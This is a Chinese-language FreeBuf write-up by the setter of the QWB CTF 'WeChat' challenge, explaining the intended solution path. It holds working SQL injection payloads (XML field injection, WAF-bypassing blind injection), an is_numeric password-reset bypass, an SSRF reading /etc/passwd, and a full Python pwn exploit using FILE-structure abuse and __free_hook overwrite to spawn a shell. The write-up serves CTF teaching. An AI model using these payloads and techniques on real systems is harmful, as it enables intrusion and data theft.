freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

    强网杯WeChat题目设计思路
    2018-03-30 09:00:27

    “强网杯”比赛刚刚结束,本文对其中的部分题目进行解析,欢迎拍砖。

    0x01 微信部分

    首先给了个公众号,有这么几个操作

    1. hello 没啥用
    2. note [id] 查看对应id的笔记
    3. test [url] 可以帮忙测试url是否可用
    

    1. 获取服务器ip

    通过上面第三个操作,那么测试一个自己的服务器,然后监听一下就能获得服务器的ip了

    2. 微信注入

    通过查看微信公众号文档,可以直接通过post来模拟与公众号交互的过程:

    <xml>
    <ToUserName><![CDATA[toUser]]></ToUserName>
    <FromUserName><![CDATA[fromUser]]></FromUserName>
    <CreateTime>1348831860</CreateTime>
    <MsgType><![CDATA[text]]></MsgType>
    <Content><![CDATA[this is a test]]></Content>
    <MsgId>1234567890123456</MsgId>
    </xml>
    

    那么将这几个值都测试一下注入,发现在fromUser这里存在注入,并且数据库是sqlite。那么后面就很简单了,直接注入就行

    <xml>
    <ToUserName><![CDATA[test]]></ToUserName>
    <FromUserName><![CDATA[xxx',(select group_concat(sql) from sqlite_master))-- ]]></FromUserName>
    <CreateTime>1348831860</CreateTime>
    <MsgType><![CDATA[text]]></MsgType>
    <Content><![CDATA[Note 1 TEAMKEY 054a404ff4cfd978e92f840f3b99a68d]]></Content>
    <MsgId>1234567890123456</MsgId>
    </xml>
    

    获取了数据库为lognote之后,可以读到id=999的一个笔记为:

    You can leave me message here: http://wc.qwb.com:8088/leave_message.php
    

    这里的插入语句是这样写的:

    sql = "INSERT INTO %s (`team`,`user`,`time`) VALUES ('%s','%s','%s')"%(self.tb,team,u,t)
    

    因为对team的校验只是判断是否长度为32,所以其实team在这里也是可以注入的,好像也有同学没有看到开发手册直接在公众号上就成功注入了

    0x02 网站部分

    通过上面已经获取了网站的ip,同时也获取了其虚拟域名从而设置hosts进行访问。

    1. sqli

    上来是登陆但是没有账号密码,然后根据提示进入了留言界面,尝试xss发现没有,于是尝试注入发现好像可以,被过滤了会返回hacker,成功插入会延时。于是可以根据过滤的字符串绕过:

    re = select[(+-]
    mysql> select@a:='mutepig';
    +---------------+
    | @a:='mutepig' |
    +---------------+
    | mutepig       |
    +---------------+
    re = sleep\(.*?[@\d].*?\)
    mysql> select sleep(ascii(true));
    +--------------------+
    | sleep(ascii(true)) |
    +--------------------+
    re = from\(.*?\)
    mysql> select 1 from {x(mysql.user)} limit 1,1;
    +---+
    | 1 |
    +---+
    | 1 |
    +---+
    无逗号
    mysql> select substr("1234"from{x(2)}for(1));
    +--------------------------------+
    | substr("1234"from{x(2)}for(1)) |
    +--------------------------------+
    | 2                              |
    +--------------------------------+
    mysql> select case((select 2))when'1'then(select(sleep(5)))end'x'from users limit 1,1;
    +--------------------------------------------------+
    | case((select 2))when'1'then(select(sleep(5)))end |
    +--------------------------------------------------+
    |                                             NULL |
    +--------------------------------------------------+
    未知列名:(猜出表名)
    (select@x:=substr(group_concat(c)from{x(1)}for(1))from{x((select@a:=4,5,6,1,2,(3)c)union(select*from(users)))b})
    

    本来这里是不让猜出列名的,但是测试时候设置列名比较简,上场后想起来又懒得改了,于是又比预期简单一丢丢这里给上预期的最终payload:

    '-(select@a:=case(((select@x:=ascii(substr(group_concat(c)from{x(1)}))from{x((select@a:=1,2,(3)c,4,5,6)union(select*from{x(adminuser)}))b}))=51)when'1'then(select@c:=(sleep(ascii(true))))end'x'from{x(adminuser)})-'
    

    这里出题的时候其实很随便,就是搜索了一些绕过WAF的技巧,然后一个一个加进来的,结果没想到好像在这里卡主了很多人。。同时由于最终的规则如下:允许的字符:

    0123456789abcdefghijklmnokpqrstuvwxyz{}()_.+-*@:=',
    

    被过滤的正则:

    select[{('+-]|benchmark\(|file|from[('+-]|insert|update|delete|or|and|script|sleep\([^)]*?[\d'@]|(substr|substring|pad)\([^)]*?,
    

    2. forgot password

    通过注入可以发现管理员的验证码始终为0,而这里我采用的是必须是数字,用is_numeric判断,这里可以用0e0绕过

    vcode=0e000000
    username=stupidking&email=stupidking666@gmail.com&vcode=0e000000&npass=aklsdjfklasjdfk&vcode2=ysuA8WJh&submit=submit
    

    3. SSRF

    进入管理员页面,有一个profile页面可以上传头像,但仔细看了下发现图像并没有上传上去,而是以dataurl形式打印了出来,但是查看源码存在一个能输入imageurltext,猜测前端代码被注释掉了但是后台代码并没有删掉于是进行测试,然后就是加上域名端口就能绕过了(主要防止被扫描器直接扫出来):

    urlink=file://wc.qwb.com:8088/etc/passwd
    

    这里最后也坑了大家一把。。由于比赛前临时将域名从qwb.wechat.com修改成wc.qwb.com而代码中的判断没有修改,到最后一个多小时才想起来,实在是抱歉。。

    0x03 bin部分

    这里设计了一个后门,原本是用密码来敲开后门的,但是一年时间过去采用的密码现在看来也很简单了T_T,所以就改为出了个pwn来打发了XD这里逻辑并不复杂,就是输入密码和正确的密码来匹配,错了就会写入日志文件,对了其实也就打印一个假的flagXD不知道多少人达到了这里呢?

    1. leak heap

    由于我们输入的长度有限制,所以只能先泄露堆,这里比较简单,由于可以溢出到文件指针fp,所以可以直接覆盖到_IO_read_ptr或者别的什么,就这样泄露堆地址了。

    2. leak libc

    其实我们的目标一致都是泄露libc,这个可以通过泄露fp->_chain来实现,因为当前fp->_chain应当指向stderr。那么利用方法就是通过play with file struct中说的方法,利用fwrite泄露任意地址的值,关键代码如下:

            fp->_flags &= ~8;
            fp->_flags |= 0x800;
            fp->_IO_write_base = msg;
            fp->_IO_write_ptr = msg+6;
            fp->_IO_read_end = fp->_IO_write_base;
            fp->_fileno = 1;
            fwrite(buf, 1, 0x100, fp);
    

    3. free

    这个程序看起来没有free,完整走一遍也好像没有调用free,但篡改了fp->_flag后就可能会在fwrite中调用free,那么是哪里呢?答案就是在overflow这,当然更多的分析可以参考 Play with FILE Structure [1] 当需求没有被满足,也就是f->_IO_write_end - f->_IO_write_ptr < todo时,那么会调用_IO_OVERFLOW,而在这里会判断是否在备份状态,而这正是由fp->_flag决定的

    769       if (__glibc_unlikely (_IO_in_backup (f)))
    770         {
    771           size_t nbackup = f->_IO_read_end - f->_IO_read_ptr;
    772           _IO_free_backup_area (f);
    773           f->_IO_read_base -= MIN (nbackup,
    774                                    f->_IO_read_base - f->_IO_buf_base);
    775           f->_IO_read_ptr = f->_IO_read_base;
    776         }
    

    那么在备份状态的话,则会调用_IO_free_backup_area,而这里就调用了free (fp->_IO_save_base),同时我们可以看到在_IO_switch_to_main_get_areafp->_IO_save_base=fp->_IO_read_base

    186    _IO_free_backup_area (_IO_FILE *fp)
    187    {
    188      if (_IO_in_backup (fp))
    189        _IO_switch_to_main_get_area (fp);  /* Just in case. */
    190      free (fp->_IO_save_base);
    191      fp->_IO_save_base = NULL;
    192      fp->_IO_save_end = NULL;
    193      fp->_IO_backup_base = NULL;
    194    }
    127    _IO_switch_to_main_get_area (_IO_FILE *fp)
    128    {
    129      char *tmp;
    130      fp->_flags &= ~_IO_IN_BACKUP;
    131      /* Swap _IO_read_end and _IO_save_end. */
    132      tmp = fp->_IO_read_end;
    133      fp->_IO_read_end = fp->_IO_save_end;
    134      fp->_IO_save_end= tmp;
    135      /* Swap _IO_read_base and _IO_save_base. */
    136      tmp = fp->_IO_read_base;
    137      fp->_IO_read_base = fp->_IO_save_base;
    138      fp->_IO_save_base = tmp;
    139      /* Set _IO_read_ptr. */
    140      fp->_IO_read_ptr = fp->_IO_read_base;
    141    }
    

    也就是说,最终会调用free(fp->_IO_read_base),那么如果我们能篡改__free_hook,同时将fp->_IO_read_base指向/bin/sh,那么就能getshell了。

    4. write

    #include <stdio.h>
    FILE *fp ;
    char buf[0x100]="fakesecret";
    char msg[0x100] = "";
    int main(){
        fp = fopen("test.txt","w");
        fp->_IO_write_ptr = msg;
        fp->_IO_write_end = fp->_IO_write_ptr+10;
        fwrite(buf, 1, 0x100, fp);
        puts(msg);
        fclose(fp);
    }
    

    5. EXP

    #!/usr/bin/env python
    # encoding: utf-8
    from mypwn import *
    bin_file = "./backdoor"
    remote_detail = ("127.0.0.1",8888)
    libc_file = "./libc.so.6"
    bp = []
    pie = False
    p,elf,libc = init_pwn(bin_file,remote_detail,libc_file,bp,pie)
    def pwd(pwd):
        p.recvuntil("password > ")
        p.send(pwd)
    if __name__ == "__main__":
        payload = '1'*0x30 + p64(0x11111111fbad3c80) + '1'*(0x98-0x38)
        pwd(payload)
        # leak libc
        libc_addr = p.recvuntil("\n").strip()
        libc_addr = libc_addr.split('11')[-1]
        libc_addr = libc_addr.ljust(8,'\x00')
        print libc_addr
        libc_addr = u64(libc_addr)-0x3c5540
        log.success("libc_addr: %s",hex(libc_addr))
        system_addr = libc_addr + libc.symbols['system']
        free_hook = libc_addr + libc.symbols['__free_hook']
        binsh_addr = libc_addr + libc.search("/bin/sh").next()
        # write free_hook
        payload = p64(system_addr) + '1'*0x20 + p64(0xfbad3c80) + '1'*0x28+ p64(free_hook) + p64(free_hook + 8)
        pwd(payload)
        payload = '1'*0x48 + p64(binsh_addr) + '1'*0x30
        pwd(payload)
        p.interactive()
    

    *本文作者:mutepig,转载请注明来自FreeBuf.COM

    # 强网杯 # 题目解析
    本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
    被以下专辑收录,发现更多精彩内容
    + 收入我的专辑
    + 加入我的收藏
    相关推荐
    • 0 文章数
    • 0 关注者